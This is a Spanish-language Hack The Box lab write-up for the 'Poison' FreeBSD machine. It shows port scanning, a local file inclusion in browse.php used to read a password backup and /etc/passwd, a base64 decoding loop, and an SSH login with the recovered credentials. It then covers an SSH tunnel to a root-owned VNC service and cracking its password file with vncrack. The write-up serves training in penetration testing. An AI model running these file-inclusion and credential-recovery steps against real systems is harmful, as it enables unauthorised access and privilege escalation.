Posion

Hack The Box — Writeup

Posion

IP:10.129.1.254
OS:Linux
Dificultad:Medium
Fecha:13 de julio de 2026

Reconocimiento

Escaneo inicial

Se realizó un escaneo completo de puertos para identificar todos los servicios expuestos en la máquina y determinar los posibles vectores de ataque disponibles.

# Comando ejecutado
sudo nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.129.1.254 -oG allPorts

# Output
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Se identificaron dos puertos abiertos: el puerto 22 (SSH) y el puerto 80 (HTTP). Se procedió al escaneo de versiones para identificar los servicios exactos y sus versiones.

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Hallazgo: se identificó una versión vulnerable del servicio Apache (2.4.29), con múltiples CVEs vinculados, que más adelante se determinaría cuál era el correcto para esta máquina.

Enumeración

Enumeración del servicio web

Al acceder a la página principal, se observó el siguiente contenido:

Página web principal

# Ctrl + U
<form action="/browse.php" method="GET">
Scriptname: <input type="text" name="file"><br>
<input type="submit" value="Submit">
</form>

Hallazgo: el título de la página ("Temporary website to test local .php scripts") y el formulario presente sugieren fuertemente una vulnerabilidad de tipo Local File Inclusion (LFI). Revisando el código fuente HTML, se identificó que el formulario envía una petición GET hacia /browse.php, con el parámetro file tomando el valor ingresado en el campo Scriptname. Esto permite reconstruir manualmente la URL de destino sin necesidad de interceptar la petición:

http://10.129.1.254/browse.php?file=

Adicionalmente, la propia página sugiere 4 nombres de archivo a probar (ini.php, info.php, listfiles.php, phpinfo.php), lo cual sirvió como punto de partida para la enumeración del parámetro vulnerable. Se decidió acceder al archivo listfiles.php ya que los otros archivos eran más versiones del servicio y de PHP.

http://10.129.1.254/browse.php?file=listfiles.php

Array ( [0] => . [1] => .. [2] => browse.php [3] => index.php [4] => info.php [5]
=> ini.php [6] => listfiles.php [7] => phpinfo.php [8] => pwdbackup.txt )

Interpretación del array devuelto por browse.php

Al investigar por mi cuenta qué era exactamente lo que veía en el array, entendí que no todos los elementos significan lo mismo. Los agrupé en tres categorías según lo que fui aprendiendo:

::: center :::

Cómo interpreté cada grupo

Obtención de credenciales

curl http://10.129.1.254/browse.php\?file\=pwdbackup.txt
This password is secure, it's encoded atleast 13 times.. what could go wrong
really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW=

Se decidió cortar parte de la password cifrada por ser demasiado extensa.

Hallazgo: luego de realizar un cat al archivo pwdbackup.txt se encontró una password en base64. Ya que la password estaba cifrada en base64 varias veces, se creó un pequeño script para descifrarla hasta obtener la password original.

# Script hecho en bash

texto="Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW="

for i in $(seq 1 13); do
decoded=$(echo -n "$texto" | base64 -d 2>/dev/null)
if [ -z "$decoded" ]; then
echo "Vuelta $i: fallo al decodificar (ya no es base64 v\'alido o lleg\'o al final)"
break
fi
texto="$decoded"
echo "Vuelta $i: $texto"
done

Tras 13 vueltas de descifrar la password se encontró la contraseña en texto plano:

Vuelta 13: Charix!2#4%6&8(0

Recordando que la máquina tenía la vulnerabilidad de LFI, se decidió acceder a /etc/passwd para enumerar usuarios y utilizar la contraseña encontrada.

Enumeración de usuarios mediante /etc/passwd

Como se muestra, había demasiado texto, así que se decidió realizar la petición con curl filtrando únicamente por los que terminan en sh, para obtener los usuarios con shell asignada:

curl -s "http://10.129.1.254/browse.php?file=/etc/passwd" | grep "sh$"
root:*:0:0:Charlie &:/root:/bin/csh
charix:*:1001:1001:charix:/home/charix:/bin/csh

Hallazgo: se identificó el usuario charix, que fácilmente se podría deducir mediante la password, pero se quería confirmar la existencia del usuario. Sabiendo esto, se procedió a conectar por SSH ya que se tenía conocimiento de credenciales válidas.

Explotación

Acceso inicial por SSH

ssh [email protected]
Password: Charix!2#4%6&8(0)

charix@Poison:~ % whoami
charix
charix@Poison:~ % id
uid=1001(charix) gid=1001(charix) groups=1001(charix)

Resultado: se obtuvo acceso interactivo como el usuario charix, confirmando que la contraseña descifrada del backup era válida para el sistema.

Escalada de Privilegios

Intento fallido con sudo

charix@Poison:~ % sudo -l
sudo: Command not found.

Porqué no funcionó: al ser mi primera máquina en FreeBSD, se intuía que existiera el comando sudo, pero investigando un poco se encontró que este no viene por defecto en los sistemas FreeBSD, así que se optó por encontrar otras formas de escalar privilegios.

Enumeración de binarios SUID

Hallazgo: se intentó enumerar binarios con permisos SUID mediante el comando estándar de búsqueda, pero se obtuvo un error inesperado incluso usando la ruta absoluta del binario.

charix@Poison:~ % find / -perm -4000 2>/dev/null
find: 2: unknown primary or operator
charix@Poison:~ % /usr/bin/find / -perm -4000 2>/dev/null
find: 2: unknown primary or operator

Porqué no funcionó: se verificó el shell activo con echo $shell, confirmando que la sesión corría sobre csh, el shell por defecto en FreeBSD. La sintaxis 2>/dev/null es propia de sh/bash, y en csh no se interpreta igual, por lo que el carácter 2 era tomado como argumento literal de find en vez de redirección de errores.

charix@Poison:~ % echo $shell
/bin/csh
charix@Poison:~ % sh -c "find / -perm -4000 2>/dev/null"

Porqué funcionó: al invocar find dentro de una subshell sh explícita, la redirección se interpretó correctamente, permitiendo obtener el listado completo de binarios SUID sin ruido de errores.

/usr/sbin/traceroute6
/usr/sbin/authpf-noip
/usr/sbin/traceroute
/usr/sbin/timedc
/usr/sbin/authpf
/usr/sbin/ppp
/usr/libexec/dma-mbox-create
/usr/libexec/ulog-helper
/usr/libexec/ssh-keysign
/usr/bin/lpq
/usr/bin/rlogin
/usr/bin/lprm
/usr/bin/lpr
/usr/bin/at
/usr/bin/crontab
/usr/bin/atrm
/usr/bin/atq
/usr/bin/su
/usr/bin/chpass
/usr/bin/quota
/usr/bin/passwd
/usr/bin/opieinfo
/usr/bin/login
/usr/bin/batch
/usr/bin/opiepasswd
/usr/bin/lock
/usr/bin/rsh
/usr/local/bin/Xorg
/usr/local/libexec/dbus-daemon-launch-helper
/bin/rcp
/sbin/ping6
/sbin/poweroff
/sbin/mksnap_ffs
/sbin/shutdown
/sbin/ping

Ningún binario de la lista resultó ser un vector directo de escalada; todos corresponden a utilidades estándar del sistema base sin configuraciones inseguras conocidas.

Revisión de tareas programadas (cron)

Hallazgo: continuando la enumeración de vectores de escalada de privilegios, se revisó el contenido de /etc/crontab para identificar tareas programadas que corrieran como root.

charix@Poison:~ % cat /etc/crontab
SHELL=/bin/sh
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin

*/5     *  *  *  *  root      /usr/libexec/atrun
*/11    *  *  *  *  operator  /usr/libexec/save-entropy
0       *  *  *  *  root      newsyslog
1       3  *  *  *  root      periodic daily
15      4  *  *  6  root      periodic weekly
30      5  1  *  *  root      periodic monthly
1,31    0-5 *  *  *  root     adjkerntz -a

Se identificaron múltiples tareas ejecutándose como root, por lo que se procedió a verificar los permisos sobre los binarios y scripts invocados por dichas tareas, con el objetivo de determinar si el usuario charix tenía permisos de escritura sobre alguno de ellos.

charix@Poison:~ % ls -la /usr/libexec/atrun
-r-xr-xr-x  1 root  wheel  16200 Jul 21  2017 /usr/libexec/atrun
charix@Poison:~ % ls -la /etc/periodic/daily/
total 128
drwxr-xr-x  2 root  wheel  1024 Jul 21  2017 .
-rwxr-xr-x  1 root  wheel  1285 Jul 21  2017 100.clean-disks
-rwxr-xr-x  1 root  wheel  1577 Jul 21  2017 110.clean-tmps
...

Porqué no funcionó: tanto /usr/libexec/atrun como todos los scripts dentro de /etc/periodic/daily/ pertenecen a root:wheel, sin permisos de escritura para el grupo ni para otros usuarios. El usuario charix no pertenece al grupo wheel, por lo que no existe forma de modificar ninguno de estos archivos para lograr ejecución de código como root a través de cron. Se descartó esta vía y se continuó la enumeración hacia otros vectores.

Enumeración de servicios locales

Hallazgo: se procedió a enumerar servicios escuchando localmente en la máquina, ya que el escaneo nmap inicial se realizó desde el exterior y podría no reflejar servicios que solo aceptan conexiones en localhost.

charix@Poison:~ % sockstat -4 -l
USER     COMMAND    PID   FD PROTO  LOCAL ADDRESS         FOREIGN ADDRESS
www      httpd      852   4  tcp4   *:80                  *:*
root     sendmail   721   3  tcp4   127.0.0.1:25          *:*
root     sshd       699   4  tcp4   *:22                  *:*
root     Xvnc       608   1  tcp4   127.0.0.1:5901        *:*
root     Xvnc       608   3  tcp4   127.0.0.1:5801        *:*
root     syslogd    469   7  udp4   *:514                 *:*

Se identificó un servicio VNC (Xvnc) corriendo como root, escuchando únicamente en 127.0.0.1 en los puertos 5901 y 5801. Este servicio no era visible desde el escaneo externo inicial precisamente por estar restringido a conexiones locales, lo cual explica por qué no apareció en el reconocimiento con nmap. Al correr como root, este servicio representa un vector directo de escalada de privilegios si se logra acceder a él.

Investigación: VNC (Virtual Network Computing) es un protocolo que permite visualizar y controlar remotamente el escritorio gráfico de otra máquina, a diferencia de SSH que solo brinda acceso a terminal de texto. Un servidor VNC (en este caso Xvnc) comparte la sesión gráfica, y un cliente VNC (vncviewer) permite conectarse y controlarla. Dado que este servicio corría como root y escuchaba únicamente en 127.0.0.1, representaba un vector directo de escalada de privilegios si se lograba obtener la contraseña de autenticación del servicio.

SSH Tunneling hacia el puerto de VNC

Ya que el servicio VNC solo escuchaba en 127.0.0.1 de la máquina víctima, fue necesario redirigir ese puerto hacia la máquina atacante mediante SSH tunneling, aprovechando la conexión SSH ya autenticada con el usuario charix.

ssh -f -N -L 5901:127.0.0.1:5901 [email protected]

Esto abre un túnel en segundo plano que redirige el puerto 5901 local de la máquina atacante hacia el puerto 5901 de 127.0.0.1 en Poison, permitiendo usar un cliente VNC propio como si el servicio corriera localmente.

Obtención de la contraseña de VNC

Antes de conectar al VNC, se enumeró el directorio home de charix en busca de credenciales adicionales, encontrando lo siguiente:

charix@Poison:~ % ls
secret.zip  user.txt
charix@Poison:~ % cat user.txt
eaacdfb2d141*************604209c
charix@Poison:~ % unzip secret.zip
Archive:  secret.zip
extracting: secret |
unzip: Passphrase required for this entry

Hallazgo: se encontró la flag de usuario (user.txt) y un archivo secret.zip protegido con contraseña, propiedad de root:charix. Se intentó descomprimir usando la contraseña descifrada anteriormente (Charix!2#4%6&8(0)), pero la versión de unzip incluida en el sistema base de FreeBSD no soporta la flag -P ni el prompt interactivo de contraseña para este tipo de cifrado.

Solución: se transfirió el archivo a la máquina atacante mediante scp, donde sí se cuenta con una versión completa de Info-ZIP capaz de manejar contraseñas correctamente.

scp [email protected]:~/secret.zip .
unzip -P 'Charix!2#4%6&8(0' secret.zip
Archive:  secret.zip
extracting: secret

Al inspeccionar el archivo extraído, se observó que pesaba exactamente 8 bytes y su contenido era binario, no texto plano.

Investigación: las contraseñas de VNC (en su implementación clásica RFB) no se almacenan cifradas de forma segura, sino ofuscadas mediante DES con una clave fija y pública, hardcodeada en el protocolo desde su creación. Esto explica por qué el archivo secret pesaba exactamente 8 bytes: DES opera en bloques de 8 bytes, y las contraseñas VNC clásicas están limitadas a 8 caracteres por este motivo. Al ser una clave conocida públicamente, existen herramientas estándar que revierten este proceso sin necesidad de fuerza bruta.

Se identificó la herramienta vncrack (disponible en los repositorios de BlackArch) para revertir el cifrado:

sudo pacman -S vncrack
vncrack -C secret
VNC password: VNCP@$$!

Por qué funcionó: vncrack implementa el algoritmo DES con la clave fija conocida del protocolo RFB, permitiendo revertir el archivo de contraseña sin necesidad de ataque de fuerza bruta, ya que no se trata de un cifrado seguro sino de una ofuscación reversible por diseño.

Conexión VNC y escalada final

Con el túnel SSH activo y la contraseña de VNC obtenida, se procedió a conectar con el cliente vncviewer:

vncviewer 127.0.0.1:5901

Sesión VNC activa como root, con la flag root.txt
visible

Hallazgo: la conexión VNC otorgó acceso directo a una sesión de escritorio gráfico corriendo como root, confirmando la escalada de privilegios completa. Desde esa sesión se obtuvo la flag final:

root@Poison:~ # cat /root/root.txt
716d04b*************d891272361f5